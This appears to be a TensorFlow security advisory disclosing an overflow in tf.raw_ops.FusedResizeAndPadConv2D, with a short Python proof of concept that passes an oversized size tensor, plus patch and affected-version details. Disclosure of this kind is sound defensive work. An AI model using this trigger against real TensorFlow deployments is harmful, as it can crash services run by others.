Overflow in `FusedResizeAndPadConv2D`

Impact

When tf.raw_ops.FusedResizeAndPadConv2D is given a large tensor shape, it overflows.

import tensorflow as tf

mode = "REFLECT"
strides = [1, 1, 1, 1]
padding = "SAME"
resize_align_corners = False
input = tf.constant(147, shape=[3,3,1,1], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
paddings = tf.constant([3,4], shape=[2], dtype=tf.int32)
filter = tf.constant(123, shape=[1,3,4,1], dtype=tf.float16)
tf.raw_ops.FusedResizeAndPadConv2D(input=input, size=size, paddings=paddings, filter=filter, mode=mode, strides=strides, padding=padding, resize_align_corners=resize_align_corners)

Patches

We have patched the issue in GitHub commit d66e1d568275e6a2947de97dca7a102a211e01ce.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.